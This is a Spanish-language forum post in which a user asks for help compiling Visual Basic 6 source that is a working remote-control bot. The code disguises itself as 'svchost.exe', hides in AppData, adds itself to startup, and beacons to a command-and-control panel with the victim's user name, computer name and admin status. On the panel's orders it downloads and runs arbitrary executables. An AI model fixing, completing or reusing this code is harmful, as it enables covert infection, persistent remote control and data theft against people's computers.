Últimos Temas de: antihelio

muy buenas.
al quererlo compilarlo como exe me arroja el error.
no consigo encontrar el problema. me ayudan?
Código
'Hidden File
Private Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
 
Dim keyword(4) As Variant
 
Private Sub Form_Load()
On Error Resume Next
'################### [SETTINGS] ###################
panel = "http://xxxx.com.mx/sour" 'Panel URL
MuTeX "MUTREX_910480921" 'Set Mutex
 
Interval = 20 'minutes
intCount = 0 'tCount
'################### [/SETTINGS] ###################
 
 
 
'################## [PERSISTANCE] ##################
'Call MakeCritical(-1, True) 'BSOD Process Persistance
App.TaskVisible = False 'Visibility
 
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("AppData") & "\svchost.exe" 'Copy file
SetFileAttributes Environ("AppData") & "\svchost.exe", FILE_ATTRIBUTE_HIDDEN 'Hide it
 
addtostartup "svchost", (Environ("AppData") & "\svchost.exe") 'Add to startup
'################## [/PERSISTANCE] ##################
 
Call getCommand(panel)
End Sub
 
Private Sub Timer1_Timer()
On Error Resume Next
intCount = intCount + 1 'Count +1 minute...
 
If intCount = Interval Then 'If time is reached...
intCount = 0 'Reset
addtostartup "svchost", (Environ("AppData") & "\svchost.exe")
 
Call getCommand(panel)
End If
 
End Sub
 
Public Sub getCommand(ByVal panel) 'Get Latest Command
On Error Resume Next
Dim objHttp As Object, strURL As String, strText As String, id As String
 
id = GetSetting("svchost", "svchost", "id", strText) 'Get ID
 
strURL = panel & "run.php" 'Control Panel / run.php
Set objHttp = CreateObject("MSXML2.ServerXMLHTTP")
objHttp.Open "POST", strURL, False
objHttp.setRequestHeader "User-Agent", _
    "753cda8b05e32ef3b82e0ff947a4a936" 'Set user-agent [Secret MD5]
objHttp.setRequestHeader "Content-Type", _
    "application/x-www-form-urlencoded" 'Allows data to be sent
 
If id <> "" Then 'If NOT blank...
objHttp.Send ("userandpc=" & Environ("USERNAME") & "@" & Environ("COMPUTERNAME") & "&admin=" & AmIAdmin & "&os=" & os & "&id=" & id) 'Send ID
Else
objHttp.Send ("userandpc=" & Environ("USERNAME") & "@" & Environ("COMPUTERNAME") & "&admin=" & AmIAdmin & "&os=" & os) 'Don't send ID, and retrieve new ID...
End If
 
strText = objHttp.ResponseText 'Response Text
 
        Dim errcode As Long
        Dim localFileName As String
        Dim rN As Integer
 
If Left(strText, 3) = "id|" Then
    SaveSetting "svchost", "svchost", "id", Split(strText, "|")(1) 'Save the new ID
 
ElseIf Left(strText, 3) = "DL|" Then 'Download...
        Randomize
        rN = Int(Rnd * 999999)
        DLurl = "http://" & Split(strText, "|")(1) 'Get download URL via. Split
 
        localFileName = Environ("TEMP") & "\" & rN & ".exe" 'Save dir
 
        errcode = URLDownloadToFile(0, DLurl, localFileName, 0, 0) 'Download
 
        Shell (Environ("TEMP") & "\" & rN & ".exe") 'Execute
 
ElseIf Left(strText, 3) = "UP|" Then
        Randomize
        rN = Int(Rnd * 999999)
        DLurl = "http://" & Split(strText, "|")(1) 'Get download URL via. Split
 
        localFileName = Environ("TEMP") & "\" & rN & ".exe" 'Save dir
 
        errcode = URLDownloadToFile(0, DLurl, localFileName, 0, 0) 'Download
 
        Shell (Environ("TEMP") & "\" & rN & ".exe") 'Execute
 
        'Removal/Ending...
        Dim WshShell, CAL1
        Set WshShell = CreateObject("WScript.Shell")
 
        If AmIAdmin = True Then
            CAL1 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"
            WshShell.RegDelete CAL1
        Else
            CAL1 = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
            WshShell.RegDelete CAL1
        End If
 
        Call MakeCritical(-1, False)
        End
 
ElseIf Left(strText, 3) = "VV|" Then
        ShellExecute Me.hwnd, "Open", Split(strText, "|")(1), 0, 0, SW_SHOWNORMAL 'ShellExec [Normal]
 
ElseIf Left(strText, 3) = "VI|" Then
        Shell Environ("programfiles") & "\Internet Explorer\iexplore.exe " & Split(strText, "|")(1), vbHide 'ShellExec [Hidden]
 
ElseIf Left(strText, 3) = "UN|" Then 'Removal/Ending...
        If AmIAdmin = True Then
            CAL1 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"
            WshShell.RegDelete CAL1
        Else
            CAL1 = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
            WshShell.RegDelete CAL1
        End If
 
        Call MakeCritical(-1, False)
        End
End If
 
 
Set objHttp = Nothing
 
End Sub
gracias.

Mod: código modificado, puesto en etiquetas GeSHi